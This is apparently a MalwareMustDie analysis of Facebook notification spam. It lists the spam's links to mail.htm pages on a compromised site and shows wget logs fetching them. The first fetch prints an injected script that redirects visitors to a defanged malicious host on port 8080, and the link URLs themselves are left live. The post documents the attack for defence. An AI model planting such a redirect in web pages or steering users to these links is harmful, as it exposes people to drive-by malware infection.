Facebook Notification Spam.... "NAME" hyperlink : http://www.lincolnlutheran.org/mail.htm?BIX5MYP=X95RG45NH502A48920J6K&D5IS=IX2OLOH2BXWB4X&DM6=PCKKFX5TNF&0UPZJ4=ZX0L2OUF&OAJG8Q9=KAK0XV65C2F1G6W9I9PBV461O&I57G=R010XDKGQGJXDI&UI6=U6Z4ELZPRCW8FK0D15PUTV6&WPYXJ8=Y6C1G1BXWBE& "GO TO FACEBOOK" & "UNSUBSCRIBE" hyperlink : http://www.lincolnlutheran.org/mail.htm?76M3NZE=57G4J7J0OYU01KEEIKS&0XB=OAV4WB0ROY&CXCON4M=47WHG5NFKM&T6H=XAI98OH6W7UN6VB9FL0KE&TJG7Z5=GI8S46B0QCQ356&SSUD8=TOTGK4T9I9RH9AC& "SEE ALL NOTIFICATIONS" hyperlink: http://www.lincolnlutheran.org/mail.htm?HZVU0=XJ8X7J4OAJSGKKZ3&6EE9=AWPSVGXE&JFLF78=Q8I69F9PZ5CC9VZWNM3OFQ&7O7M0R=GROUPAPRMU6UNOHKF1XRI&XJYN=E0RMSOGDMEFFXDP&7HXRGG=G78E54JWXHS530L&AIR=3F7CWP85WM54Q3& ---------------------------------------------------- --14:01:46-- http://www.lincolnlutheran.org/mail.htm?BIX5MYP=X95RG45NH502A48920J6K&D5IS=IX2OLOH2BXWB4X&DM6=PCKKFX5TNF&0UPZJ4=ZX0L2OUF&OAJG8Q9=KAK0XV65C2F1G6W9I9PBV461O&I57G=R010XDKGQGJXDI&UI6=U6Z4ELZPRCW8FK0D15PUTV6&WPYXJ8=Y6C1G1BXWBE& => `./sample' Resolving www.lincolnlutheran.org... seconds 0.00, 67.222.108.81 Caching www.lincolnlutheran.org => 67.222.108.81 Connecting to www.lincolnlutheran.org|67.222.108.81|:80... seconds 0.00, connected. ---request begin--- GET /mail.htm?BIX5MYP=X95RG45NH502A48920J6K&D5IS=IX2OLOH2BXWB4X&DM6=PCKKFX5TNF&0UPZJ4=ZX0L2OUF&OAJG8Q9=KAK0XV65C2F1G6W9I9PBV461O&I57G=R010XDKGQGJXDI&UI6=U6Z4ELZPRCW8FK0D15PUTV6&WPYXJ8=Y6C1G1BXWBE& HTTP/1.0 Referer: http://www.google.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Accept: */* Host: www.lincolnlutheran.org Connection: Keep-Alive ---request end--- HTTP request sent, awaiting response... ---response begin--- HTTP/1.1 200 OK Date: Mon, 10 Dec 2012 05:09:56 GMT Server: Apache Last-Modified: Tue, 04 Dec 2012 14:14:35 GMT ETag: "dab820a-1a4-4d0077c43a8c0" Accept-Ranges: bytes Content-Length: 420 Keep-Alive: timeout=10, max=10 Connection: Keep-Alive Content-Type: text/html ---response end--- 200 OK Registered socket 1892 for persistent reuse. Length: 420 [text/html] 100%[====================================>] 420 --.--K/s 14:01:46 (15.42 MB/s) - `./sample' saved [420/420] $ cat sample ＜html＞ ＜head＞ ＜meta http-equiv="Content-Type" content="text/html; charset=utf-8"＞ ＜title＞Please wait＜/title＞ ＜/head＞ ＜body＞ ＜h1＞＜b＞Please wait a moment ... You will be forwarded... ＜/h1＞＜/b＞ ＜h4＞Internet Explorer / Mozilla Firefox compatible only＜/h4＞＜br＞ ＜script＞ var1=49; var2=var1; if(var1==var2) {document.location="h00p://francese.ru:8080/forum/links/column.php";} ＜/script＞ ＜/body＞ ＜/html＞ -------------------------------------------------- --14:04:51-- http://www.lincolnlutheran.org/mail.htm?76M3NZE=57G4J7J0OYU01KEEIKS&0XB=OAV4WB0ROY&CXCON4M=47WHG5NFKM&T6H=XAI98OH6W7UN6VB9FL0KE&TJG7Z5=GI8S46B0QCQ356&SSUD8=TOTGK4T9I9RH9AC& => `./sample' Resolving www.lincolnlutheran.org... seconds 0.00, 67.222.108.81 Caching www.lincolnlutheran.org => 67.222.108.81 Connecting to www.lincolnlutheran.org|67.222.108.81|:80... seconds 0.00, connected. ---request begin--- GET /mail.htm?76M3NZE=57G4J7J0OYU01KEEIKS&0XB=OAV4WB0ROY&CXCON4M=47WHG5NFKM&T6H=XAI98OH6W7UN6VB9FL0KE&TJG7Z5=GI8S46B0QCQ356&SSUD8=TOTGK4T9I9RH9AC& HTTP/1.0 Referer: http://www.google.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Accept: */* Host: www.lincolnlutheran.org Connection: Keep-Alive ---request end--- HTTP request sent, awaiting response... ---response begin--- HTTP/1.1 200 OK Date: Mon, 10 Dec 2012 05:13:01 GMT Server: Apache Last-Modified: Tue, 04 Dec 2012 14:14:35 GMT ETag: "dab820a-1a4-4d0077c43a8c0" Accept-Ranges: bytes Content-Length: 420 Keep-Alive: timeout=10, max=10 Connection: Keep-Alive Content-Type: text/html ---response end--- 200 OK Registered socket 1892 for persistent reuse. Length: 420 [text/html] 100%[====================================>] 420 --.--K/s 14:04:51 (15.93 MB/s) - `./sample' saved [420/420] $ cat sample Please wait

Please wait a moment ... You will be forwarded...

Internet Explorer / Mozilla Firefox compatible only


------------------------------------------------------------ --14:08:06-- http://www.lincolnlutheran.org/mail.htm?HZVU0=XJ8X7J4OAJSGKKZ3&6EE9=AWPSVGXE&JFLF78=Q8I69F9PZ5CC9VZWNM3OFQ&7O7M0R=GROUPAPRMU6UNOHKF1XRI&XJYN=E0RMSOGDMEFFXDP&7HXRGG=G78E54JWXHS530L&AIR=3F7CWP85WM54Q3& => `./sample' Resolving www.lincolnlutheran.org... seconds 0.00, 67.222.108.81 Caching www.lincolnlutheran.org => 67.222.108.81 Connecting to www.lincolnlutheran.org|67.222.108.81|:80... seconds 0.00, connected. ---request begin--- GET /mail.htm?HZVU0=XJ8X7J4OAJSGKKZ3&6EE9=AWPSVGXE&JFLF78=Q8I69F9PZ5CC9VZWNM3OFQ&7O7M0R=GROUPAPRMU6UNOHKF1XRI&XJYN=E0RMSOGDMEFFXDP&7HXRGG=G78E54JWXHS530L&AIR=3F7CWP85WM54Q3& HTTP/1.0 Referer: http://www.google.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Accept: */* Host: www.lincolnlutheran.org Connection: Keep-Alive ---request end--- HTTP request sent, awaiting response... ---response begin--- HTTP/1.1 200 OK Date: Mon, 10 Dec 2012 05:16:16 GMT Server: Apache Last-Modified: Tue, 04 Dec 2012 14:14:35 GMT ETag: "dab820a-1a4-4d0077c43a8c0" Accept-Ranges: bytes Content-Length: 420 Keep-Alive: timeout=10, max=10 Connection: Keep-Alive Content-Type: text/html ---response end--- 200 OK Registered socket 1892 for persistent reuse. Length: 420 [text/html] 100%[====================================>] 420 --.--K/s 14:08:06 (15.93 MB/s) - `./sample' saved [420/420] $ cat sample Please wait

Please wait a moment ... You will be forwarded...

Internet Explorer / Mozilla Firefox compatible only


------- #MalwareMustDie